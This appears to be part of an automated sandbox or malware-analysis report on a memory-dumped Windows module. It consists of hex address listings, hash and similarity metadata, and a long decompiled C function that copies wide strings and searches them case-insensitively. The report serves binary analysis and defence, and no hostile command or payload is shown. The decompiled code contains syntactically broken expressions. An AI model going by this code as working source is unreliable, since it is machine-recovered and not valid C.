0x00000000
0x6ed4ba98
0x6ed4ba9c
0x6ed4baa0
0x00000000
0x6ed4baa0
0x6ed4be53
0x6ed4be57
0x6ed4be5b
0x00000000
0x6ed4baa4
0x6ed4bab0
0x6ed4bab4
0x6ed4bab4
0x6ed4bab9
0x6ed4babd
0x6ed4bac1
0x6ed4bac1
0x6ed4bac6
0x6ed4baca
0x6ed4bace
0x6ed4bad0
0x00000000
0x00000000
0x6ed4bad6
0x6ed4bad9
0x6ed4badb
0x00000000
0x00000000
0x6ed4badd
0x6ed4bae1
0x6ed4bae5
0x6ed4bae9
0x6ed4baee
0x00000000
0x00000000
0x00000000
0x6ed4baee
0x6ed4bf16
0x6ed4bf1b
0x6ed4bf1f
0x6ed4bf21
0x6ed4bf25
0x00000000
0x6ed4bf25
0x6ed4ba6d
0x00000000
0x6ed4b8d2
0x6ed4b861
0x6ed4b864
0x6ed4b867
0x6ed4b869
0x00000000
0x00000000
0x6ed4b86b
0x6ed4b86e
0x6ed4b86e
0x6ed4b870
0x6ed4b870
0x6ed4b871
0x6ed4b876
0x6ed4b87b
0x6ed4b87d
0x00000000
0x00000000
0x6ed4b87f
0x6ed4b883
0x6ed4b887
0x6ed4b889
0x00000000
0x00000000
0x00000000
0x6ed4b889
0x6ed4b88b
0x00000000
0x6ed4b88b
0x6ed4b85b
0x6ed4b811
0x00000000
0x6ed4b811
0x6ed4b783
0x6ed4b783
0x6ed4b786
0x6ed4b7a6
0x6ed4b7aa
0x6ed4b7b6
0x6ed4b7b6
0x6ed4b7bc
0x6ed4b7bc
0x6ed4b7c1
0x6ed4b7c5
0x6ed4b7c9
0x6ed4b7cb
0x00000000
0x00000000
0x6ed4b7d1
0x6ed4b7d4
0x6ed4b7d6
0x00000000
0x00000000
0x6ed4b7d8
0x6ed4b7de
0x6ed4b7f5
0x6ed4b7f5
0x6ed4b7fa
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4b7e0
0x6ed4b7e0
0x6ed4b7e4
0x6ed4b7e6
0x00000000
0x00000000
0x6ed4b7ec
0x6ed4b7ed
0x6ed4b7f3
0x00000000
0x00000000
0x00000000
0x6ed4b7f3
0x6ed4ba15
0x6ed4ba15
0x6ed4ba18
0x6ed4ba28
0x6ed4ba1a
0x6ed4ba1c
0x6ed4ba1f
0x6ed4ba1f
0x00000000
0x6ed4ba18
0x6ed4bf2e
0x6ed4bf33
0x00000000
0x6ed4bf33
0x6ed4b788
0x6ed4b78a
0x6ed4b78c
0x00000000
0x00000000
0x6ed4b793
0x6ed4b793
0x6ed4b795
0x6ed4b795
0x6ed4b799
0x6ed4b79b
0x00000000
0x00000000
0x6ed4b7a1
0x6ed4b7a2
0x6ed4b7a4
0x00000000
0x00000000
0x00000000
0x6ed4b7a4
0x00000000
0x6ed4b795
0x6ed4b770
0x00000000
0x6ed4b770
0x6ed4b721
0x6ed4b74a
0x6ed4b74a
0x6ed4b74c
0x6ed4b74d
0x6ed4b752
0x00000000
0x6ed4b752
0x6ed4b723
0x6ed4b726
0x6ed4b72b
0x00000000
0x00000000
0x6ed4b72f
0x6ed4b72f
0x6ed4b730
0x6ed4b735
0x6ed4b73c
0x00000000
0x00000000
0x6ed4b73e
0x6ed4b742
0x6ed4b748
0x00000000
0x00000000
0x00000000
0x6ed4b748
0x00000000

Strings

@, xrefs: 6ED4B760

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0beef277e831ee5b6f040fee2b591ecf537cd5d41fbc7949637f2daeaf3f676f
Instruction ID: c1ca44507fb55f93e589059f6a033d4d4b46296366d78170c3f094490ab25cc2
Opcode Fuzzy Hash: 0beef277e831ee5b6f040fee2b591ecf537cd5d41fbc7949637f2daeaf3f676f
Instruction Fuzzy Hash: C832FF75A08713CBD7548FAAC49162E72E2BFF4310F14862DE8A58B3D8EB75C945C392

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4A660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6ED4A660(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _t219;
				signed int _t220;
				signed int _t221;
				signed int _t224;
				signed short** _t227;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t237;
				signed int _t238;
				signed int _t240;
				unsigned int _t242;
				signed int _t248;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t260;
				signed int _t263;
				signed int _t264;
				unsigned int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t288;
				signed int _t293;
				signed int _t294;
				signed int _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t309;
				signed int _t312;
				unsigned int _t318;
				signed int _t319;
				signed int _t321;
				signed short* _t323;
				signed int _t324;
				signed int _t325;
				unsigned int _t326;
				signed int _t331;
				signed int _t333;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed short* _t344;
				signed int _t345;
				signed short* _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t356;
				signed int _t362;
				unsigned int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t369;
				signed int _t370;
				signed int _t371;
				signed int _t376;
				signed int _t378;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t403;
				signed int _t404;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed int _t421;
				signed int* _t422;
				signed int _t425;
				signed int _t428;
				signed int _t432;
				signed int _t434;
				signed int _t438;
				signed int _t439;
				signed int _t440;
				signed int _t441;
				signed int _t444;
				void* _t447;

				_t312 = __ecx;
				_t296 = 0;
				_v40 = 0;
				_t398 = __ecx;
				_v36 = 0;
				_push(0x80);
				_t417 = E6ED41030();
				_t447 = (_t444 & 0xfffffff0) - 0x34 + 4;
				_t344 = _v40;
				if(_t344 == 0) {
					 *_t417 = 0;
					L8:
					_v36 = 0x40;
					_v40 = _t417;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t417;
						if(_t417 == 0) {
							_t418 = 0x40;
							_t345 = _t296;
							L23:
							_t24 = _t345 + 2; // -2147483652
							_t219 = _t24;
							__eflags = _t219 - 0x40;
							_t220 =  <=  ? 0x40 : _t219;
							__eflags = _t418 - _t220;
							if(_t418 < _t220) {
								_t318 = (_t220 >> 5 >> 0x1a) + _t220 >> 6;
								_t221 = _t220 & 0x8000003f;
								__eflags = _t221;
								if(_t221 < 0) {
									_t221 = (_t221 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t221;
								}
								__eflags = _t221;
								_t319 = _t318 + (_t296 & 0xffffff00 | _t221 > 0x00000000);
								_v64 = _t319 << 6;
								_push(_t319 << 7);
								_v60 = _t345;
								_t224 = E6ED41030();
								_t345 = _v60;
								_t421 = _t224;
								_t447 = _t447 + 4;
								_t321 = _v40;
								__eflags = _t321;
								if(_t321 == 0) {
									 *_t421 = _t296;
									goto L36;
								} else {
									__eflags = _t421;
									if(_t421 == 0) {
										L34:
										_push(2);
										_push(_t321);
										_v60 = _t345;
										E6ED410B0();
										_t345 = _v60;
										_t447 = _t447 + 8;
										L36:
										_v36 = _v64;
										_v40 = _t421;
										L37:
										 *((short*)(_t421 + _t345 * 2)) = _a8 & 0x0000ffff;
										_t227 =  &_v40;
										 *( *_t227 + 2 + _t345 * 2) = _t296;
										L38:
										_t346 =  *_t227;
										_t422 = _a4;
										if(_t346 == 0) {
											L40:
											_push(0x80);
											 *_t422 = _t296;
											_t422[1] = _t296;
											_t399 = E6ED41030();
											_t447 = _t447 + 4;
											_t323 =  *_t422;
											if(_t323 == 0) {
												 *_t399 = _t296;
												L62:
												 *_t422 = _t399;
												_t422[1] = 0x40;
												L63:
												_push(2);
												_push(_v40);
												E6ED410B0();
												_v40 = _t296;
												_v36 = _t296;
												return _t422;
											}
											if(_t399 == 0) {
												L46:
												_push(2);
												_push(_t323);
												E6ED410B0();
												_t447 = _t447 + 8;
												goto L62;
											}
											_t347 =  *_t323 & 0x0000ffff;
											 *_t399 = _t347;
											if(_t347 == 0) {
												goto L46;
											}
											_t348 = _t296;
											while(1) {
												_t348 = _t348 + 1;
												_t232 =  *(_t323 + _t348 * 4 - 2) & 0x0000ffff;
												 *(_t399 + _t348 * 4 - 2) = _t232;
												if(_t232 == 0) {
													goto L46;
												}
												_t233 =  *(_t323 + _t348 * 4) & 0x0000ffff;
												 *(_t399 + _t348 * 4) = _t233;
												if(_t233 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t234 =  *_t346 & 0x0000ffff;
										if(_t234 != 0) {
											_t324 =  *_t398;
											__eflags = _t324;
											if(_t324 == 0) {
												L54:
												_push(0x80);
												 *_t422 = _t296;
												_t422[1] = _t296;
												_t399 = E6ED41030();
												_t447 = _t447 + 4;
												_t325 =  *_t422;
												__eflags = _t325;
												if(_t325 == 0) {
													 *_t399 = _t296;
													goto L62;
												}
												__eflags = _t399;
												if(_t399 == 0) {
													L60:
													_push(2);
													_push(_t325);
													E6ED410B0();
													_t447 = _t447 + 8;
													goto L62;
												}
												_t349 =  *_t325 & 0x0000ffff;
												 *_t399 = _t349;
												__eflags = _t349;
												if(_t349 == 0) {
													goto L60;
												}
												_t350 = _t296;
												while(1) {
													_t350 = _t350 + 1;
													_t237 =  *(_t325 + _t350 * 4 - 2) & 0x0000ffff;
													 *(_t399 + _t350 * 4 - 2) = _t237;
													__eflags = _t237;
													if(_t237 == 0) {
														goto L60;
													}
													_t238 =  *(_t325 + _t350 * 4) & 0x0000ffff;
													 *(_t399 + _t350 * 4) = _t238;
													__eflags = _t238;
													if(_t238 != 0) {
														continue;
													}
													goto L60;
												}
												goto L60;
											}
											__eflags =  *_t324 & 0x0000ffff;
											if(( *_t324 & 0x0000ffff) == 0) {
												goto L54;
											}
											_v32 = _t346;
											__eflags = _t234 - 0x41 - 0x19;
											_t239 =  <=  ? _t234 + 0x20 : _t234;
											_t403 = _t296;
											_t240 = ( <=  ? _t234 + 0x20 : _t234) & 0x0000ffff;
											_v48 = _t240;
											while(1) {
												_t425 =  *(_t324 + _t403 * 2) & 0x0000ffff;
												__eflags = _t425 - 0x41 - 0x19;
												_t426 =  <=  ? _t425 + 0x20 : _t425;
												__eflags = ( <=  ? _t425 + 0x20 : _t425) - _t240;
												if(( <=  ? _t425 + 0x20 : _t425) == _t240) {
													break;
												}
												_t403 = _t403 + 1;
												__eflags =  *(_t324 + _t403 * 2) & 0x0000ffff;
												if(( *(_t324 + _t403 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												L53:
												_t422 = _a4;
												_t296 = 0;
												__eflags = 0;
												goto L54;
											}
											_t352 = _v32;
											_t404 = _t324 + _t403 * 2;
											_t422 = _a4;
											_t296 = 0;
											__eflags = _t404;
											if(_t404 == 0) {
												goto L54;
											}
											_t428 = _t352 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_v64 = _t428;
											_t242 = _t428 & 0x00000001;
											_v52 = _t242;
											_v56 =  ~_t428 + 0x10 >> 1;
											_v60 = _t324;
											_v32 = _t352;
											_t432 = _v64;
											_t299 = _v56;
											_t326 = _t242;
											while(1) {
												L70:
												_t353 = _t432;
												__eflags = _t432;
												if(_t432 == 0) {
													goto L76;
												}
												_t251 = 0;
												__eflags = _t326;
												if(_t326 != 0) {
													L80:
													_t333 = _v32;
													while(1) {
														__eflags =  *(_t333 + _t251 * 2) & 0x0000ffff;
														if(( *(_t333 + _t251 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t251 = _t251 + 1;
														__eflags = _t251 - 0x7fffffff;
														if(_t251 < 0x7fffffff) {
															continue;
														}
														_v32 = _t333;
														L84:
														_t251 = 0x7fffffff;
														L85:
														_v68 = _t251;
														_t354 = 0;
														__eflags = 0;
														while(1) {
															_t302 =  *(_t404 + _t354 * 2) & 0x0000ffff;
															_t434 =  *(_v32 + _t354 * 2) & 0x0000ffff;
															__eflags = _t302 - 0x61 - 0x19;
															_t303 =  <=  ? _t302 - 0x20 : _t302;
															_t253 = ( <=  ? _t302 - 0x20 : _t302) & 0x0000ffff;
															__eflags = _t434 - 0x61 - 0x19;
															_t435 =  <=  ? _t434 - 0x20 : _t434;
															__eflags = _t253 - ( <=  ? _t434 - 0x20 : _t434);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t253;
															if(_t253 == 0) {
																L90:
																_t335 = _v60;
																_t296 = 0;
																_t422 = _a4;
																__eflags = _t404;
																if(_t404 == 0) {
																	goto L54;
																}
																_t406 = _t404 - _t335;
																__eflags = _t406;
																_t407 = _t406 >> 1;
																if(_t406 != 0) {
																	_t257 = _t335 & 0x0000000f;
																	__eflags = _t257;
																	if(_t257 == 0) {
																		L106:
																		_t362 =  ~( ~_t257 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t362;
																		while(1) {
																			asm("movdqu xmm1, [ecx+eax*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb ebx, xmm1");
																			__eflags = _t296;
																			if(_t296 != 0) {
																				break;
																			}
																			_t257 = _t257 + 8;
																			__eflags = _t257 - _t362;
																			if(_t257 < _t362) {
																				continue;
																			}
																			_t296 = 0;
																			__eflags = _t362 - 0x7fffffff;
																			if(_t362 >= 0x7fffffff) {
																				L112:
																				_t362 = 0x7fffffff;
																				L113:
																				_t260 = _t362 >> 0x0000001f & _t362;
																				_t365 = _t362 - _t260;
																				__eflags = _t407;
																				if(_t407 < 0) {
																					L115:
																					_t407 = _t365;
																					L116:
																					 *_t422 = _t296;
																					_t336 = _t335 + _t260 * 2;
																					_t422[1] = _t296;
																					__eflags = _t336;
																					if(_t336 == 0) {
																						L151:
																						_push(0x80);
																						_t399 = E6ED41030();
																						_t447 = _t447 + 4;
																						_t337 =  *_t422;
																						__eflags = _t337;
																						if(_t337 == 0) {
																							 *_t399 = _t296;
																							goto L62;
																						}
																						__eflags = _t399;
																						if(_t399 == 0) {
																							L157:
																							_push(2);
																							_push(_t337);
																							E6ED410B0();
																							_t447 = _t447 + 8;
																							goto L62;
																						}
																						_t366 =  *_t337 & 0x0000ffff;
																						 *_t399 = _t366;
																						__eflags = _t366;
																						if(_t366 == 0) {
																							goto L157;
																						}
																						_t367 = _t296;
																						while(1) {
																							_t367 = _t367 + 1;
																							_t263 =  *(_t337 + _t367 * 4 - 2) & 0x0000ffff;
																							 *(_t399 + _t367 * 4 - 2) = _t263;
																							__eflags = _t263;
																							if(_t263 == 0) {
																								goto L157;
																							}
																							_t264 =  *(_t337 + _t367 * 4) & 0x0000ffff;
																							 *(_t399 + _t367 * 4) = _t264;
																							__eflags = _t264;
																							if(_t264 != 0) {
																								continue;
																							}
																							goto L157;
																						}
																						goto L157;
																					}
																					__eflags =  *_t336 & 0x0000ffff;
																					if(( *_t336 & 0x0000ffff) == 0) {
																						goto L151;
																					}
																					__eflags = _t407;
																					if(_t407 != 0) {
																						L131:
																						_t159 = _t407 + 1; // 0x80000000
																						_t369 = _t159;
																						__eflags = _t369 - 0x40;
																						_t370 =  <=  ? 0x40 : _t369;
																						__eflags = _t370;
																						if(_t370 > 0) {
																							_t270 = (_t370 >> 5 >> 0x1a) + _t370 >> 6;
																							_t371 = _t370 & 0x8000003f;
																							__eflags = _t371;
																							if(_t371 < 0) {
																								_t371 = (_t371 - 0x00000001 | 0xffffffc0) + 1;
																								__eflags = _t371;
																							}
																							__eflags = _t371;
																							_t271 = _t270 + (_t296 & 0xffffff00 | _t371 > 0x00000000);
																							_v64 = _t271 << 6;
																							_push(_t271 << 7);
																							_v60 = _t336;
																							_t273 = E6ED41030();
																							_t336 = _v60;
																							_t447 = _t447 + 4;
																							_t376 =  *_t422;
																							__eflags = _t376;
																							if(_t376 == 0) {
																								 *_t273 = _t296;
																								goto L143;
																							} else {
																								__eflags = _t273;
																								if(_t273 == 0) {
																									L141:
																									_push(2);
																									_push(_t376);
																									_v68 = _t273;
																									_v60 = _t336;
																									E6ED410B0();
																									_t336 = _v60;
																									_t273 = _v68;
																									_t447 = _t447 + 8;
																									L143:
																									_t422[1] = _v64;
																									 *_t422 = _t273;
																									L144:
																									__eflags = _t273;
																									if(_t273 == 0) {
																										goto L63;
																									}
																									_t378 = _t296;
																									while(1) {
																										_t309 =  *_t336 & 0x0000ffff;
																										_t378 = _t378 + 1;
																										 *_t273 = _t309;
																										__eflags = _t407;
																										if(_t407 == 0) {
																											goto L149;
																										}
																										__eflags = _t378 - _t407;
																										if(_t378 == _t407) {
																											_t296 = 0;
																											 *(_t273 + 2) = 0;
																											goto L63;
																										}
																										L149:
																										__eflags = _t309;
																										if(_t309 == 0) {
																											_t296 = 0;
																											goto L63;
																										}
																										_t273 = _t273 + 2;
																										_t336 = _t336 + 2;
																										__eflags = _t336;
																									}
																								}
																								_t438 =  *_t376 & 0x0000ffff;
																								 *_t273 = _t438;
																								__eflags = _t438;
																								_t422 = _a4;
																								if(_t438 == 0) {
																									goto L141;
																								} else {
																									goto L138;
																								}
																								while(1) {
																									L138:
																									_t296 = _t296 + 1;
																									_t439 =  *(_t376 + _t296 * 4 - 2) & 0x0000ffff;
																									 *(_t273 + _t296 * 4 - 2) = _t439;
																									__eflags = _t439;
																									if(_t439 == 0) {
																										break;
																									}
																									_t440 =  *(_t376 + _t296 * 4) & 0x0000ffff;
																									 *(_t273 + _t296 * 4) = _t440;
																									__eflags = _t440;
																									if(_t440 != 0) {
																										continue;
																									}
																									break;
																								}
																								_t422 = _a4;
																								_t296 = 0;
																								__eflags = 0;
																								goto L141;
																							}
																						}
																						_t273 = _t296;
																						goto L144;
																					}
																					_t382 = _t336 & 0x0000000f;
																					__eflags = _t382;
																					if(_t382 == 0) {
																						L124:
																						_t407 =  ~( ~_t382 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t407;
																						while(1) {
																							asm("movdqu xmm1, [ecx+edx*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb eax, xmm1");
																							__eflags = _t260;
																							if(_t260 != 0) {
																								break;
																							}
																							_t382 = _t382 + 8;
																							__eflags = _t382 - _t407;
																							if(_t382 < _t407) {
																								continue;
																							}
																							__eflags = _t407 - 0x7fffffff;
																							if(_t407 >= 0x7fffffff) {
																								L130:
																								_t407 = 0x7fffffff;
																								goto L131;
																							} else {
																								goto L128;
																							}
																							while(1) {
																								L128:
																								__eflags =  *(_t336 + _t407 * 2) & 0x0000ffff;
																								if(( *(_t336 + _t407 * 2) & 0x0000ffff) == 0) {
																									goto L131;
																								}
																								_t407 = _t407 + 1;
																								__eflags = _t407 - 0x7fffffff;
																								if(_t407 < 0x7fffffff) {
																									continue;
																								}
																								goto L130;
																							}
																							goto L131;
																						}
																						asm("bsf edi, eax");
																						_t407 = (_t407 >> 1) + _t382;
																						goto L131;
																					}
																					_t407 = _t296;
																					__eflags = _t382 & 0x00000001;
																					if((_t382 & 0x00000001) != 0) {
																						goto L128;
																					}
																					_t382 =  ~_t382 + 0x10 >> 1;
																					__eflags = _t382;
																					while(1) {
																						_t260 =  *(_t336 + _t407 * 2) & 0x0000ffff;
																						__eflags = _t260;
																						if(_t260 == 0) {
																							goto L131;
																						}
																						_t407 = _t407 + 1;
																						__eflags = _t407 - _t382;
																						if(_t407 < _t382) {
																							continue;
																						}
																						goto L124;
																					}
																					goto L131;
																				}
																				__eflags = _t407 - _t365;
																				if(_t407 <= _t365) {
																					goto L116;
																				}
																				goto L115;
																			} else {
																				goto L110;
																			}
																			while(1) {
																				L110:
																				__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																				if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																					goto L113;
																				}
																				_t362 = _t362 + 1;
																				__eflags = _t362 - 0x7fffffff;
																				if(_t362 < 0x7fffffff) {
																					continue;
																				}
																				goto L112;
																			}
																			goto L113;
																		}
																		_t363 = _t296;
																		_t296 = 0;
																		asm("bsf edx, edx");
																		_t362 = (_t363 >> 1) + _t257;
																		goto L113;
																	}
																	_t362 = 0;
																	__eflags = _t257 & 0x00000001;
																	if((_t257 & 0x00000001) != 0) {
																		goto L110;
																	}
																	_t257 =  ~_t257 + 0x10 >> 1;
																	__eflags = _t257;
																	while(1) {
																		__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																		if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t362 = _t362 + 1;
																		__eflags = _t362 - _t257;
																		if(_t362 < _t257) {
																			continue;
																		}
																		_t296 = 0;
																		__eflags = 0;
																		goto L106;
																	}
																	_t296 = 0;
																	goto L113;
																}
																_push(0x80);
																 *_t422 = 0;
																_t422[1] = 0;
																_t399 = E6ED41030();
																_t447 = _t447 + 4;
																_t338 =  *_t422;
																__eflags = _t338;
																if(_t338 == 0) {
																	 *_t399 = 0;
																	goto L62;
																}
																__eflags = _t399;
																if(_t399 == 0) {
																	L98:
																	_push(2);
																	_push(_t338);
																	E6ED410B0();
																	_t447 = _t447 + 8;
																	goto L62;
																}
																_t386 =  *_t338 & 0x0000ffff;
																 *_t399 = _t386;
																__eflags = _t386;
																if(_t386 == 0) {
																	goto L98;
																}
																_t387 = 0;
																while(1) {
																	_t387 = _t387 + 1;
																	_t280 =  *(_t338 + _t387 * 4 - 2) & 0x0000ffff;
																	 *(_t399 + _t387 * 4 - 2) = _t280;
																	__eflags = _t280;
																	if(_t280 == 0) {
																		goto L98;
																	}
																	_t281 =  *(_t338 + _t387 * 4) & 0x0000ffff;
																	 *(_t399 + _t387 * 4) = _t281;
																	__eflags = _t281;
																	if(_t281 != 0) {
																		continue;
																	}
																	goto L98;
																}
																goto L98;
															}
															_t354 = _t354 + 1;
															__eflags = _t354 - _v68;
															if(_t354 < _v68) {
																continue;
															}
															goto L90;
														}
														_t356 = _t404 + 2;
														__eflags = _t356;
														if(_t356 == 0) {
															goto L53;
														}
														__eflags =  *(_t404 + 2) & 0x0000ffff;
														if(( *(_t404 + 2) & 0x0000ffff) == 0) {
															goto L53;
														}
														_v44 = _t404;
														_t255 = 0;
														__eflags = 0;
														while(1) {
															_t255 = _t255 + 1;
															_t404 = _v44 + _t255 * 2;
															_t331 =  *_t404 & 0x0000ffff;
															__eflags = ( *(_t356 + _t255 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t332 =  <=  ? _t331 + 0x20 : _t331;
															__eflags = ( <=  ? _t331 + 0x20 : _t331) - _v48;
															if(( <=  ? _t331 + 0x20 : _t331) == _v48) {
																break;
															}
															__eflags =  *(_t356 + _t255 * 2) & 0x0000ffff;
															if(( *(_t356 + _t255 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L53;
														}
														_t432 = _v64;
														_t299 = _v56;
														_t326 = _v52;
														goto L70;
													}
													_v32 = _t333;
													L163:
													__eflags = _t251;
													if(__eflags == 0) {
														goto L84;
													}
													if(__eflags > 0) {
														goto L85;
													}
													goto L90;
												}
												_t441 = _v32;
												_t353 = _t299;
												while(1) {
													__eflags =  *(_t441 + _t251 * 2) & 0x0000ffff;
													if(( *(_t441 + _t251 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t251 = _t251 + 1;
													__eflags = _t251 - _t299;
													if(_t251 < _t299) {
														continue;
													}
													_v32 = _t441;
													_t326 = _v52;
													goto L76;
												}
												_v32 = _t441;
												goto L163;
												L76:
												_t300 = _v32;
												_t248 =  ~( ~_t353 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t248;
												while(1) {
													asm("movdqu xmm1, [ebx+edx*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb ecx, xmm1");
													__eflags = _t326;
													if(_t326 != 0) {
														break;
													}
													_t353 = _t353 + 8;
													__eflags = _t353 - _t248;
													if(_t353 < _t248) {
														continue;
													}
													_v32 = _t300;
													__eflags = _t248 - 0x7fffffff;
													if(_t248 >= 0x7fffffff) {
														goto L84;
													}
													goto L80;
												}
												asm("bsf eax, eax");
												_v32 = _t300;
												_t251 = (_t326 >> 1) + _t353;
												goto L163;
											}
										}
										goto L40;
									}
									_t283 =  *_t321 & 0x0000ffff;
									 *_t421 = _t283;
									__eflags = _t283;
									if(_t283 == 0) {
										goto L34;
									}
									_v68 = _t398;
									_t284 = _t296;
									while(1) {
										_t284 = _t284 + 1;
										_t414 =  *(_t321 + _t284 * 4 - 2) & 0x0000ffff;
										 *(_t421 + _t284 * 4 - 2) = _t414;
										__eflags = _t414;
										if(_t414 == 0) {
											break;
										}
										_t415 =  *(_t321 + _t284 * 4) & 0x0000ffff;
										 *(_t421 + _t284 * 4) = _t415;
										__eflags = _t415;
										if(_t415 != 0) {
											continue;
										}
										break;
									}
									_t398 = _v68;
									goto L34;
								}
							}
							_t421 = _v40;
							goto L37;
						}
						_t288 = _t417 & 0x0000000f;
						__eflags = _t288;
						if(_t288 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t395 =  ~( ~_t288 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t395;
							while(1) {
								asm("movdqu xmm1, [esi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								__eflags = _t312;
								if(_t312 != 0) {
									break;
								}
								_t288 = _t288 + 8;
								__eflags = _t288 - _t395;
								if(_t288 < _t395) {
									continue;
								}
								__eflags = _t395 - 0x7fffffff;
								if(_t395 >= 0x7fffffff) {
									L22:
									_t418 = 0x40;
									_t345 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t417 + _t395 * 2) & 0x0000ffff;
									if(( *(_t417 + _t395 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t395 = _t395 + 1;
									__eflags = _t395 - 0x7fffffff;
									if(_t395 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L64:
								__eflags = _t345 - 0xfffffffe;
								if(_t345 != 0xfffffffe) {
									_t418 = 0x40;
								} else {
									 *_t417 = _t296;
									_t418 = _v36;
								}
								goto L23;
							}
							asm("bsf edx, ecx");
							_t345 = (_t395 >> 1) + _t288;
							goto L64;
						}
						_t395 = _t296;
						__eflags = _t288 & 0x00000001;
						if((_t288 & 0x00000001) != 0) {
							goto L20;
						}
						_t288 =  ~_t288 + 0x10 >> 1;
						__eflags = _t288;
						while(1) {
							_t312 =  *(_t417 + _t395 * 2) & 0x0000ffff;
							__eflags = _t312;
							if(_t312 == 0) {
								goto L64;
							}
							_t395 = _t395 + 1;
							__eflags = _t395 - _t288;
							if(_t395 < _t288) {
								continue;
							}
							goto L16;
						}
						goto L64;
					}
					_t227 =  &_v40;
					goto L38;
				}
				if(_t417 == 0) {
					L6:
					_push(2);
					_push(_t344);
					E6ED410B0();
					_t447 = _t447 + 8;
					goto L8;
				}
				_t293 =  *_t344 & 0x0000ffff;
				 *_t417 = _t293;
				if(_t293 == 0) {
					goto L6;
				}
				_t294 = 0;
				while(1) {
					_t294 = _t294 + 1;
					_t312 =  *(_t344 + _t294 * 4 - 2) & 0x0000ffff;
					 *(_t417 + _t294 * 4 - 2) = _t312;
					if(_t312 == 0) {
						goto L6;
					}
					_t312 =  *(_t344 + _t294 * 4) & 0x0000ffff;
					 *(_t417 + _t294 * 4) = _t312;
					if(_t312 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ed4a660
0x6ed4a66c
0x6ed4a66e
0x6ed4a672
0x6ed4a674
0x6ed4a678
0x6ed4a682
0x6ed4a684
0x6ed4a687
0x6ed4a68d
0x6ed4a6c7
0x6ed4a6ca
0x6ed4a6ce
0x6ed4a6d6
0x6ed4a6dc
0x6ed4a6e7
0x6ed4a6e9
0x6ed4ae6d
0x6ed4ae72
0x6ed4a76d
0x6ed4a772
0x6ed4a772
0x6ed4a775
0x6ed4a778
0x6ed4a77b
0x6ed4a77d
0x6ed4a792
0x6ed4a795
0x6ed4a795
0x6ed4a79a
0x6ed4a7a2
0x6ed4a7a2
0x6ed4a7a2
0x6ed4a7a3
0x6ed4a7aa
0x6ed4a7b4
0x6ed4a7b8
0x6ed4a7b9
0x6ed4a7bd
0x6ed4a7c2
0x6ed4a7c6
0x6ed4a7c8
0x6ed4a7cb
0x6ed4a7cf
0x6ed4a7d1
0x6ed4a819
0x00000000
0x6ed4a7d3
0x6ed4a7d3
0x6ed4a7d5
0x6ed4a804
0x6ed4a804
0x6ed4a806
0x6ed4a807
0x6ed4a80b
0x6ed4a810
0x6ed4a814
0x6ed4a81c
0x6ed4a820
0x6ed4a824
0x6ed4a828
0x6ed4a82c
0x6ed4a830
0x6ed4a836
0x6ed4a83b
0x6ed4a83b
0x6ed4a83d
0x6ed4a842
0x6ed4a84b
0x6ed4a84b
0x6ed4a850
0x6ed4a852
0x6ed4a85a
0x6ed4a85c
0x6ed4a85f
0x6ed4a863
0x6ed4a8a0
0x6ed4a94a
0x6ed4a94a
